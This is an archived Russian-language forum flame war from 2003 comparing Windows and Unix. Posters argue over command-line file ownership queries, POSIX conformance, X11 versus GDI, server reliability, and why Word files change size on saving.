ну блин... там запрос аля SQL, настраивай как хочешь... там where clause - задавай параметры
какие хочешь...

А ведь как странно... человек задал вопрос - получил ответ, который его _устраивает_, решил свою
проблему... но вот уже пару дней обсуждаются "поправки" к исходному заданию, чтобы винда не
справилась :)... я просто тащусь

в виндах можно разные задачи выполнять разными способами... хочешь так, хочешь сяк... вроде сие
было одним из рулезов юникс-вея? если есть пример, который показывает как использовать функции
.НЕТ Фраймворка для работы с файлами это не означает, что сие есть единственно правильный способ

блин да чего ты привязался с работой в МС... тут ситуация патовая для меня в любом случае:
1. если я там работаю - "а... мля... продажный, ему денег платют немерянно чтобы он в ЛОРе народ
пугал"
2. если не работаю - "а... мля... совсем дурак - ладно-б если ему денег платили немерянно чтобы
он в ЛОРе народ пугал, а так ведь не понимает рулеза ламер несчастный"...

У вас же тут все, кто хоть немного знает винды и пытается подать голос в ее защиту сразу же
записывается в сотрудники МС и/или ламеры...

Так чта на вопрос твой я не отвечу...

про Ikonta и его проблему - отмотай взад... у человека была проблема - большой файл после
сохранения под другим именем становился сильно меньше... тому есть ТРИ причины - одна из них
фастсейв, другая версии документа (третья - ембеддед шрифты)

Ikont-у не надо перефразировать - нужно читать то, что он писал... если б у него были вопросы -
он бы их задал... не нужно быть адвокатом там, где подсудимый этого не хочет...

2 del:

а просто URL запостить было слабо?

ну может вы все же не утрируя опишите что требуется от системы, чтобы быть конформант по посиксу?

ок. баш соберу... в корн-шелле я работаю и в стандартной консоли и в xterm-е...

аналогично - командный язык в НТе есть не слабее машины тьюринга (с понятными ограничениями), а
WSH объекты и WMI есть обертка вокруг системных функций (и не только системных)... посему,
согласно тезису Черча можно сворганить что угодно :)

по вашим тезисам со второй таблицы... вы уж потрудитесь - приведите какой-либо централизованный
можно на мыло - pto at kgb.ru

нет, мы сервер на ночь не кладем - работает 24*7*365 - таков бизнес-процесс... надежность
99.99%, просто железо нормальное и админы профи

Линукс который стоит годами и не требует тюнинга выносится первой вороной, залетевшей в
систему... я правильно понимаю, что линукс установленный пару-тройку лет назад не нужно патчить,
не нужно настраивать, а сервер не нужно пылесосить и менять в нем винты на подходе и вентиляторы
не нужно?

Камень в ХБоксе? дык его дешевле купить отдельно :)

PTO
()

Спасибо за код. А если им XP завалить - она после перезагрузки сможет загрузиться (в смысле, ее переставлять не потребуется)? Вот хотел попробовать на второй домашней машине где еще стоит XP - посему и спрашиваю, не потребуется ли потом всю винду переставлять.. Она же нежная, внимание любит..

anonymous
()

>Линукс который стоит годами и не требует тюнинга выносится первой вороной, залетевшей в систему... я правильно понимаю, что линукс установленный пару-тройку лет назад не нужно патчить, не нужно настраивать

Да??? А файрволл на что? Грамотные настройки файрволла могут значительно осложнить взлом очень древней системы.

>а сервер не нужно пылесосить и менять в нем винты на подходе и вентиляторы не нужно?

Здесь очень многое зависит от конструкции сервера и типа железа.

Относительно разных офисов: видел m$ Office 97, некоторое время пришлось иметь дело с m$ Offoce 2000... После этого желание видеть офисные пакеты (пусть не m$) было выбито напрочь. А вы, как я понял, рассматриваете всегда последнюю версию? И насколько часто производится замена железа?

Как и ожидалось, ничего конкретнее абстрактных предположений о причинах столь кардинального изменения размера файла я не увидел.

Ikonta_521
()

   1.  я  не  знаю  кто  чего  говорил...  дистрибутив  Вин2К один (хотя,
   допускаю, что в Митино могут
   быть  варианты  -  только  вот  к Майкрософт они никакого отношения не
   имеют).
Ну будем считать что тот ч-к ошибся.
   по-умолчанию...   самое   интересное   в   том,   что  Вин2003  Сервер
   по-умолчанию не ставит практически
   ничего, вроде WSH тоже нужно отдельно включать... секьюрити мля
Н-да.. Вот идиоты-то.. У них даже понятие о секьюрити извращенное.. Кстати, дай ссылку где это сказано (=докажи что ты не сотруник MSFT).
   2.  да нет... просто в свое время пришлось слегка по-программировать и
   там и там... ГДИ в
   сравнении  с  АПИ  Хов  это просто счастие...
Поясняй. И что ты делал на апи Хов (действительно, на голом АПИ)?
    или вы ГДИ сравниваете с КДЕшным тулкитом? дык тогда
    и в Виндах не гладкий АПИ надо сравнивать, а тулкиты соответствующие
Ну на голом Х-апи конечно не стоит писать. Но тулкиты юниксовые поприятнее
виндовых будут (gtk например). Или Motif - стандарт ISO (не помню номер
стандарта) на граф. интерфейсы.
 А сам GDI  - убог хотя бы из-за сетевой непрозрачности. А во-вторых - из-за
создания диких дыр в безопасности (см.  shatter exploit) системы.
   работает... вот у меня на сервере
   работает SQL Server, а окошко с результатами на моей машине
Это из-за того, что у тебя клиент локально запущен. Ты что, разницу не
понимаешь?
 Еще зачем нужен цитрикс - убожество под названием Win2k Terminal Services
не поддерживают более 256 цветов.. Будет исправлено только в .NET server.
Без цитрикса никуда под виндой, согласись.
   по   тестам   ФИПС   -   качаете,  ставите  СФУ  и  прогоняете...  оно
   прогоняется... в конце концов -
Ну а о совместимости posix subsystem of win2k БЕЗ ИСПОЛЬЗОВАНИЯ SFU
можно как-нибудь узнать? Уже 5-ый раз спрашиваю!

   прогоните кто-нить их на Линуксе и скажите - вот такой дистр, с такими
   патчами, ядром и
   настройками прогоняется успешно через тест сьюит
Тогда ссылку дай. Может кто их прогонит. И ты что, поверишь на слово что типа
у какого-то перца тесты успешно пройдены на таком-то дистре?
Ведь это не будет офиц. сертификацией в любом случае (она денег стоит).
   бррр....   а   что  администратор  юникса  не  может  по  определенным
   требованиям запретить пользоваться
   определенными  утилями  пользователям... странно - вот у меня во дворе
   Сбербанк - на рабочих местах
   СКОшные терминалы... операционистка ничего окромя клиента запустить не
   может... секьюрити аднака
Ну отсутствие ярлыков кроме клиента на десктопе (если клиент гуевый) или
автозапуск клиента при логине в систему если клиент текстовый (то есть
отсутствие доступа к коммандной строке из-за организации рабочего места) -
и отсутствие прав выполнить утилиту find - разные вещи. Естественно делают
первое, а не второе (чтобы не запрещать все сотни утилит из /usr/bin и /bin).
   ну  блин...  там  запрос  аля  SQL, настраивай как хочешь... там where
   clause - задавай параметры
   какие хочешь...
Ну так в том и вопрос - какие where clauses допускаются.
   А  ведь  как  странно... человек задал вопрос - получил ответ, который
   его _устраивает_,
Ответ его не может устроить так как там не фигурировал тест на принадлежность
юзеру..
   блин  да чего ты привязался с работой в МС... тут ситуация патовая для
   меня в любом случае:
   1.  если  я  там  работаю  -  "а... мля... продажный, ему денег платют
   немерянно чтобы он в ЛОРе народ
   пугал"
   2.  если  не  работаю  -  "а... мля... совсем дурак - ладно-б если ему
   денег платили немерянно чтобы
   он   в  ЛОРе  народ  пугал,  а  так  ведь  не  понимает  рулеза  ламер
   несчастный"...
Ну ладно, так и запишем, РТО работает в MC. Ибо второй вариант не такой уж
"ацтойный" :) - тут много защитников виндовс было..
   сохранения под другим именем становился сильно меньше... тому есть ТРИ
   причины - одна из них
   фастсейв, другая версии документа (третья - ембеддед шрифты)
   Ikont-у  не  надо  перефразировать  - нужно читать то, что он писал...
   если б у него были вопросы -
   он бы их задал... не нужно быть адвокатом там, где подсудимый этого не
   хочет...
Ну черт с этими вопросами про фастсейв.. Но считать, что ч-к не сможет
догадаться что файл распухает от сохранения всех версий - просто некультурно
по отношению к этому человеку.
   аналогично  -  командный  язык в НТе есть не слабее машины тьюринга (с
   понятными ограничениями),
Имеется ввиду cmd.exe (внучок command.com)?
   WSH  объекты  и WMI есть обертка вокруг системных функций (и не только
   системных)... посему,
WSH не стоит на всех виндах по дефолту (на win95 и на win2003) - так что
про него можно забыть.
-Vlad

anonymous
()

2PTO >нет, мы сервер на ночь не кладем - работает 24*7*365 - таков >бизнес-процесс... надежность >99.99%, просто железо нормальное и админы профи

Может скажешь, что за железо, и какая нагрузка на сервер?

А то есть реальный пример:

SMP, 2 PII 400 Mhz, 1G RAM, 2 uwsc контроллера, 2 intel 100/pro

Процессоры были без вентиляторов!! Сам выбирал :)

Сервисы:

samba + printserver, sshd, squid (8G cache) ~ 70 хостов в сети.

Было: Suse 6.3 (2.2.13 SMP), ядро не патчили - uptime ~ 200 дней,

стабильно, удаленное администрирование - вся почта root@localhost,

уходила Васе Пупкину (который приходил в контору только за деньгами.)

Все работало очень быстро. Народ был доволен.

Стало:

Пришли франчи из 1С и сказали боссу, что 1С SQL - рулезнейшая весчь.

Пупкина уволили за прогулы. Linux снесли.

Сначала был 1 админ, через 3 месяца взяли 2.

Нынешние 2 админа - имеют сертификаты от МС.

Поставили NT 4 и трахаются до сих пор, в попытках сделать тоже самое.

Что они там делают, не знаю, но тормоза страшные, инет работает через

жопу, милые девочки из бухгалтерии научились ругаться матом.

У админов воруют пиво и их бьют по пятницам разъяренные сотрудники,

которым нужно выходить на работу в выходные.

Саныч.

anonymous
()

2 anonymous (*) (2003-01-14 10:57:52.849): не нужно переставлять... она даже не упадет... просто пока идет аттака не будет отвечать RPC, потом через пару минут прочухается

2 Ikonta_521: Файрволл защитит от инсайдер аттаки (по статистике 80% аттак именно оттуда)?

я там статейку приводил (вы ее так и не прочли? или с переводом проблема?) там приведен список всех версий ворда, в которой есть фастсейв... работа с версиями файлов вроде начиная с ворда 2000 поддерживается...

"Как и ожидалось, ничего конкретнее абстрактных предположений о причинах столь кардинального изменения размера файла я не увидел."

кайф... даны 3 причины почему такое происходит, со сноской на офиц. бумагу... какие ЕЩЕ _КОНКРЕТНЫЕ_ объяснения вы хотите увидеть... либо присылайте файл - тут нострдамусов нема

2 Vlad: а чем отсутствие по-умолчанию кучи ненужных компонент извращение... к примеру компоненты, через которые работала Nimbda и CodeRed в 99% случаев не используются, но на сервер ставятся по-умолчанию... не ставить их по-умолчанию - уже гораздо более безопасную систему получаем - чем меньше сервисов открыто на машине, тем безопаснее - посему в новой версии по-умолчанию все закрыто - нужен тебе веб - открой, нужна поддержка динамического контента - включи и т.п. мне не нужно что-либо доказывать, а посмотреть на Win2003 Server можно тут: http://www.microsoft.com/windows.netserver/preview/obtaining.mspx версию RC2 дают скачать на попробовать... только зарегестрись :)

GDI конечно не верх совершенства... но он умеет еще и единообразно с принтерами работать к примеру - а Хы так умеют? а что пользователям важнее "сетевая прозрачность" или возможность прозрачно распечатывать документы теми же шрифтами, что они видят на экране без необходимости что-либо настраивать?

угу, клиент локально запущен - а в Хах запущен "сервер", который занимается отрисовкой примитивов, а "клиент" помимо обработки бизнес-задачи еще выдумывает как сие отрисовать на экране...

цитрикс нужен только тем, у кого "клиентская ОС" неправильная... вот в данный момент лезу на сервер Вин2000 с ВинХРПро... большое разрешение и миллионы цветов... про 256 это такое ограничение раньше было... и то, у клиента.

Вин2К без СФУ конформент по посикс.1... ссылку на тест сьют вроде можно найти по ссылкам del-а... да и потом что это такое "дай говна, дай ложку"... гуглом пользоваться не умеете?

странно мне всегда казалось, что чем меньше пользователь может сделать в системе, тем она безопаснее... если в его функциональные/служебные обязанности не входит "поиск всех файлов Васи Пупкина", то лучше ему сие запретить - вроде как принцип "запрещено все кроме того, что явно разрешено" еще никто в приложениях к информационной безопасности не отменял...

where - ну типа идите и ищите в документации... там набор пропертей у объектов большой (не забудьте только про наследование :))

Ну писать можете что угодно... мне от сего ни холодно, ни жарко... тока вы свое ИМХО за истину не выдавайте

PTO
()

2 Саныч: там стоял ХП-шный сервачок... гораздо меньше там всего - правда подсистема ввода-вывода по-лучше... памяти что-то типа 128М, П2 частоту не скажу (но по тем временам когда его покупали сие было круто)... на нем НТ4+СКЛ 6.5... народу около 20 человек, что пользуют его весь рабочий день достаточно интенсивно + внешние партнеры + с него берутся данные для Интернет-магазина и в него же заказы складываются, хотя нагрузка не очень большая - 2-3 тыс. посетителей в день и может быть пара десятков заказов. Аналогичная машина была файл-н-принт сервером человек для 50-ти + домен-контроллером + почтовиком (НТМейл 3хх) человек на 200-300... ну а ваших с дипломами можно увольнять за несоответсвие занимаемой должности... а чего у них за сертификаты если не секрет?

PTO
()

2 PTO Наверняка, MCP по 4.0 :) Типа NT Workstation сдали. Файловый сервер полгода настраивать...

anonymous
()

да уж... зарекался я тут на вопросы по виндам отвечать... а ведь всего-то спросили перефразируя - каким ключиком в команде "дир" заставить ее выводить имя владельца файла... уже цельный флейм развели... и уж конечно, любой кто может сделать dir /? в командной строке сразу записывается в сотрудники МСа... этож такая круть, что просто мама моя дорогая - знать как работать в командной строке на виндах... это только МСовцы умеют - у них наверное трейнинг специальный по этому поводу проводится...

PTO
()

>я там статейку приводил (вы ее так и не прочли? или с переводом проблема?) там приведен список всех версий ворда, в которой есть фастсейв...

С переводом проблем нет. Но подобный бред читать элементарно ломает.

>работа с версиями файлов вроде начиная с ворда 2000 поддерживается...

Пришлось иметь дело с 2000 охфисом... Больше видеть это ... желания нет.

>кайф... даны 3 причины почему такое происходит, со сноской на офиц. бумагу...

Не маленький, пора бы знать что в подобных официальных бумагах полезной информации НЕ_СОДЕРЖИТСЯ. Приведенные причины также весьма растяжимы и обтекаемы. Так что конкретикой не пахнет.

Кстати, а как там с объяснениями, если априори известно, что работа с версиями используемой версией ворда не поддерживается?

>какие ЕЩЕ _КОНКРЕТНЫЕ_ объяснения вы хотите увидеть... либо присылайте файл - тут нострдамусов нема

Внятные. С указанием каких-либо чисел.

А то тут один виндузятник отличился замечательно обоснованной аргументацией:

В качестве примера привел типа ПРОФЕССИОНАЛЬНЫЙ цифровой фотоаппарат (с встроенным 4х зум-объективом ПЕРЕМЕННОЙ светосилы, надеюсь понятно, что упорствовать в данном предположении не давая нормальной аргументации - оскорбление).

Он так и не процитировал В_КОНКРЕТНЫХ_ЧИСЛАХ характеристики данной камеры для обоснования высказанной точки зрения:) Не говоря уже о сравнении с пленочными моделями.:)

И ты туда же?..:)

Ikonta_521
()

2 Ikonta_521: каких чисел вы хотите узнать? :) вы уж вопросы конкретные задавайте тогда...

про фотоаппараты - вы это типа любимый способ сменить тему и увести в сторону? каков в вашем понимании критерий "профессиональности" камеры?

PTO
()

2 Ikonta_521 "С переводом проблем нет. Но подобный бред читать элементарно ломает" "Не маленький, пора бы знать что в подобных официальных бумагах полезной информации НЕ_СОДЕРЖИТСЯ."

Официальные бумаги от МС вообще зло и провокация. После их прочтения надо ладаном обкуриваться :) Ну просто классический пример: Пастернака не читал, но... Похоже PTO вам ничего так и не объяснит :)

anonymous
()

anonymous (*) (2003-01-14 14:45:05.962)

как и все виндузятники органически неспособен к восприятию лаконично выраженной информации.

Хорошо, раскрою недосказанное: данного конкретного документа я не читал и не собираюсь читать. Ибо в свое время приходилось пытаться извлечь ПОЛЕЗНУЮ информацию из подобного рода документов (включая "Официальные бумаги от МС").

Теперь что скажешь?

Ikonta_521
()

Скажу, что Во-первых, я не виндузятник :) Во-вторых, полезной информации из официальных бумаг МС почерпнул немало. В-третьих, если вы не читали приведенный вам документ, то зачем говорить: "Как и ожидалось, ничего конкретнее абстрактных предположений о причинах столь кардинального изменения размера файла я не увидел." ? :)

Что конкретно и какой форме вы хотели услыщать в ответ на ваш вопрос о Ворде ? Какие числа ? :)

anonymous
()

2 PTO

>каких чисел вы хотите узнать? :) вы уж вопросы конкретные задавайте тогда...

Величина вносимой избыточности, указание на причины введения этой избыточности и ее доля относительно нормального размера файла. Для начала. Только у меня к вам большая просьба: не могли бы вы подкрепить рассуждения ссылками на спецификацию формата.

>про фотоаппараты - вы это типа любимый способ сменить тему и увести в сторону?

Нет. Причем (если вы обратили внимание) - не я начал эту тему. Это просто простейший пример ловить очень многих (извините, но преимущественно виндузятников) на незнании обсуждаемой проблемы.

>каков в вашем понимании критерий "профессиональности" камеры?

Их несколько, перечисляю (а вы можете сравнивать с характеристиками того убожества, которое было приведено в качестве примера виндузятником):

1. Срок службы: как минимум порядка 20 лет.

2. Наличие достаточно полной линейки сменной оптики.

3. Наличие более или менее полного набора сменных фокусировочных экранов.

4. (Как правило) Сменная пентапризма. Возможен выбор из нескольких пентапризм и по крайней мере одного шахтного видоискателя.

5. Если в линейке оптики присутствуют объективы с переменным фокусным расстоянием, то (достоверных исключений не назову, но все равно как правило) с постоянным значением светосилы.

Это то, что назову навскидку. Можно продолжить.

Ikonta_521
()

2PTO

Что один админ чудак вполне допускаю.

Но что бы оба сразу ?

Что у них за сертификаты не знаю.

Может купили где, может ли быть такое ?

Но мое скромное имхо - проблема не в них.

70 машин в 2 сегментах 100 Mb сетки, могут в пике дать очень

большую нагрузку на сервер, которую он плохо держит и после которой

плохо восстанавливается или падает.

Один процесс может сожрать 100% ресурсов, и не отдасть их достаточно

долго, а у людей в 1С выскакивают сообщения типа

"Ошибка захваты таблицы", после чего вся 1С идет нахер и нужно

запускать переиндексацию.

Да и SMP в NT 4 похоже не на высоте.

В люлюксе я видел как ~100 процессов smbd РАВНОМЕРНО загружали 2

проца, а как оно здесь работает хз.

Если процесс не многонитевой как его исполнять на 2 процах ?

Насколько эффективно исполнение ниток на разных процах ?

Почему иногда бывает жуткий swap трэшинг по 5-20 мин. и все просто

висит даже клавка?

Как в NT 4 сделать аналог

socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNBUF=SO_RCVBUF=64K

ХЗ тов. майор ?

Я уже устал от этих вопросов.

Вполне допускаю, что Win2k, XP, Net - большой шаг вперед по сравнению

с NT 4.

Но мое скромное имхо - с unix в качестве сервера, гиммора на ПОРЯДОК

меньше.

А деньги за лицензию лучше пропить.

Саныч.

anonymous
()

2 Ikonta_521 1. "Величина вносимой избыточности" Вы что, считаете это будет константной величиной независимо от содержимого файла и вносимых в него изменений ? Типа 30 или 130 процентов :)

2. "указание на причины введения этой избыточности" читайте по ссылке

3. "ее доля относительно нормального размера файла" см. пункт 1.

Зачем вам формат файла ? :)

anonymous
()

   2   Vlad:  а  чем  отсутствие  по-умолчанию  кучи  ненужных  компонент
   извращение...  к  примеру  компоненты, через которые работала Nimbda и
   CodeRed   в  99%  случаев  не  используются,  но  на  сервер  ставятся
   по-умолчанию...  не  ставить  их  по-умолчанию  -  уже  гораздо  более
   безопасную  систему  получаем - чем меньше сервисов открыто на машине,
Ну во-первых между сервисами (имеющими открытые порты) и компонентами
(просто библиотеки на диске) - громадная разница.
  Ты типа стандартное мнение МС здесь озвучиваешь?
  Потому что в правильно сделанной и настроенной системе наличе лишних
незапущенных  *компонент* не ухудшает ее секьюрности..
   GDI  конечно  не верх совершенства... но он умеет еще и единообразно с
   принтерами  работать  к  примеру - а Хы так умеют? а что пользователям
   важнее  "сетевая прозрачность" или возможность прозрачно распечатывать
   документы  теми же шрифтами, что они видят на экране без необходимости
   что-либо настраивать?
Ну в Х есть XPrint.  Ну и совр. тулкиты поддерживают wysiwig печать
(qt3 например).
 Но ты давай договаривай что писал на Хапи, иначе все сказанное тобой будет
считаться гоном (судя по пред. общению с тобой ты ничего даже о базовых
основах Х не знаешь).
 Ну а про shatter exploit - дыра в GDI - что скажешь?

   угу,  клиент  локально  запущен  -
У тебя что, попытки запудрить мозги на подсознательном уровне зарождаются?
Надеюсь что ты пытаешься запудрить мозги подсознательно (профессиональная
болезнь), а не сознательно.
    а  в Хах запущен "сервер", который
   занимается   отрисовкой   примитивов,   а  "клиент"  помимо  обработки
   бизнес-задачи еще выдумывает как сие отрисовать на экране...
Еще раз подтверждает что ты основ Х не знаешь..
   цитрикс нужен только тем, у кого "клиентская ОС" неправильная... вот в
   данный  момент лезу на сервер Вин2000 с ВинХРПро... большое разрешение
Хм, значит у меня старая информация (полученная из большого кол-ва разных
источников).
   Вин2К  без  СФУ  конформент  по  посикс.1...
А ты мне сертификат (купленный МС-ом) покажи. Иначе это все религия..
   странно мне всегда казалось, что чем меньше пользователь может сделать
   в  системе,  тем она безопаснее... если в его функциональные/служебные
   обязанности  не  входит "поиск всех файлов Васи Пупкина", то лучше ему
   сие  запретить - вроде как принцип "запрещено все кроме того, что явно
   разрешено"  еще  никто  в приложениях к информационной безопасности не
   отменял...
Опять же странное мнение. Достаточно запретить выполнение комманд
shell'а (путем убирания соотв. иконок с десктопа/автопуска клиента в консоли),
а не панически запрещать все и вся в файловой системе.
--
ну так что ты там по поводу коммандного языка NT говорил?
>   аналогично  -  командный  язык в НТе есть не слабее машины тьюринга (с
>   понятными ограничениями),
>(Я) Имеется ввиду cmd.exe (внучок command.com)?
-Vlad

anonymous
()

2 Саныч

>В люлюксе я видел как ~100 процессов smbd РАВНОМЕРНО загружали 2 проца

А как один процесс грузит (полностью) 2 проца?

Ikonta_521
()

2 anonymous

>"Величина вносимой избыточности" Вы что, считаете это будет константной величиной независимо от содержимого файла и вносимых в него изменений ? Типа 30 или 130 процентов :)

Нет. Но я утверждаю, что для ряда типовых случаев: набранный текст, импортированный текст, рисованная графика, импортированная графика - значения величины вносимой избыточности будет принимать достаточно близкие значения.

>"указание на причины введения этой избыточности" читайте по ссылке

И что, кроме общих слов вы там прочитали? Может быть хотя бы качественные сравнения?

>"ее доля относительно нормального размера файла" см. пункт 1.

Ну так задайтесь конкретным примером и рассчитайте. Или сложно?

>Зачем вам формат файла ? :)

А объем файла не зависит от формата?

И все-таки вопрос по однозначности формата:

- из стандартных модулей собирается файл, сохраняется.

- после перезагрузки (или просто перезапуска офиса) компонуем в точности такой же файл и сравниваем его размер с существующим.

Ikonta_521
()

2Ikonta_521

Имелось ввиду, что из 100 процессов smbd

~40-60 исполнялись на cpu0

остальные на cpu1

Саныч

anonymous
()

2 Саныч

Не, это я о своих баранах:)

Действительно есть реальный интерес в том, чтобы одним приложением нагрузить несколько (до 4-х) процессоров. Ось - линукс, солярка...

Ikonta_521
()

2 Ikonta_521 "Нет. Но я утверждаю, что для ряда типовых случаев: набранный текст, импортированный текст, рисованная графика, импортированная графика - значения величины вносимой избыточности будет принимать достаточно близкие значения" "Ну так задайтесь конкретным примером и рассчитайте. Или сложно?"

Гм...и что нам с PTO иследовательскую работу провести для удовлетворения вашего любопыства ? :) Сколько в среднем для текста для графики и т.д. Какая точность вас устроит ? Десятая процента ? Сотая ? :)

"И что, кроме общих слов вы там прочитали? Может быть хотя бы качественные сравнения?"

ИМХО про фастсейвы и их плюсы/минусы очень доступно написано. Версии и шрифты - тоже все очевидно.

"И все-таки вопрос по однозначности формата:

- из стандартных модулей собирается файл, сохраняется.

- после перезагрузки (или просто перезапуска офиса) компонуем в точности такой же файл и сравниваем его размер с существующим."

Причем здесь неоднозначность ? Неоднозначность формата была бы, если один и тот же файл отображался по разному на разных комьютерах.

anonymous
()

2 Ikonta: ну для начала вам будет нужно запросить спецификацию на бинарный формат ворда...

To request a copy of the binary file format for Word 2002, send e-mail to the following address: officeff@microsoft.com
Please include the following information with your request:

Company Name Developer Name and Title Address Telephone Number Fax Number A brief statement that explains why you want the Word binary file format and how you intend to use it


под рукой у меня есть только спеки на 2000й формат. на стр. 15 идет разговор за Format of the Main Stream in a Complex File (это типа комплексный - тот что с фастсейвом) далее, начиная с 66й страницы идет собственно его описание... увольте меня от подсчета размеров сишных структур в которых сие хранится для удовлетворения вашего любопытства... а так сие нечто типа: The complex part of a file (CLX) is composed of a number of variable-sized blocks of data. Recorded first are any grpprls that may be referenced by the plcfpcd (if the plcfpcd has no grpprl references, no grpprls will be recorded) followed by the plcfpcd. Each block in the complex part is prefaced by a clxt (clx type), which is a 1-byte code, either 1 (meaning the block contains a grpprl) or 2 (meaning this is the plcfpcd). A clxtGrpprl (1) is followed by a 2-byte cb which is the count of bytes of the grpprl. A clxtPlcfpcd (2) is followed by a 4-byte lcb which is the count of bytes of the piece table. A full saved file will have no clxtGrpprl's. So the formats of the two types of blocks are:

достаточно?

PTO
()

2 Iknota: а типа про фотокамеры - это вы так ловите виндузятников на незнании бинарного формата ворда? ну-ну... так держать

2 Саныч: "А деньги за лицензию лучше пропить." - что и требовалось доказать...

2 Vlad: а почему тогда нормальные админы не ставят на веб-сервера ГЦЦ? это-ж не сервис ни какой... ан-нет... все больше секьюрити хотят

под Хы писал нечто для визуализации полученной инфы с некоего прибора... очень давно писал... больше не хочу...

shatter exploit - это для пионеров... можно привесть кучу вариантов в юниксе... это уже вроде 100 раз обсуждалось

"Еще раз подтверждает что ты основ Х не знаешь..." - ну давай просвящай, а то до сих пор я думал, что есть программа "Х-клиент", которая шлет программе "Х-Сервер" команды типа - нарисуй тут точку, а тут линию, а тут текстик таким-то шрифтиком... или уже что-то по-другому в Хах работать стало?

Зачем мне сертификат - я тестсьют прогнал и мне сего достаточно

ну про то как "достаточно убить шорткаты" это ты другим рутам рассказывай... желательно под пиво, чтоб они это как шутку приняли...

по СМД - умеет делать почти тоже самое, что машина Тьюринга с понятными (ой понятными ли всем тутошним читателе-писателям) ограничениями...

PTO
()

2 РТО 2 Саныч: "А деньги за лицензию лучше пропить." - что и требовалось доказать...

Не совсем понял, что именно было доказанно этой фразой ?

Саныч

anonymous
()

PTO (*) (2003-01-14 16:31:41.253)

Исправился. А сразу читабельную версию выложить не получилось? Глюки любимого ослика?

>а типа про фотокамеры - это вы так ловите виндузятников на незнании бинарного формата ворда? ну-ну... так держать

Нет. Это не к тебе относится, но это способ показать непонимание многими виндузятниками обсуждаемого вопроса.

Относительно бинарного формата ворда спорить с вами бесполезно. Для вас множественность способов записи однинаковой информации - норма, для меня - нет.

Если Вы не помните с чего пришли к обсуждению бинарного формата ворда, я напомню:

обсуждалась степень соответствия реализаций ОТКРЫТЫХ стнадартов одной небезызвестной фирмой с собстенно открытой версией этих стандартов.

Я привел конкретный пример: формат bmp (сразу оговорюсь: писюшная интерпретация). Открываем графический файл (но помню исходного формата) и сохраняем в формате bmp. При использовании ПО by m$ импорт полученного файла с сохранением исходной картинки невозможен. Трансляция через Photoshop - норма. При этом картинка, полученная с помощью ПО by m$ ПО той же фирмы почему то открывается нормально.

Вы хотите назвать это корректной реализацией открытых стандартов?

А что мы имеем в случае закрытого формата? И вы уверены в том, что предоставляемое m$ на сторону описание формата претендует на полноту?

Ikonta_521
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.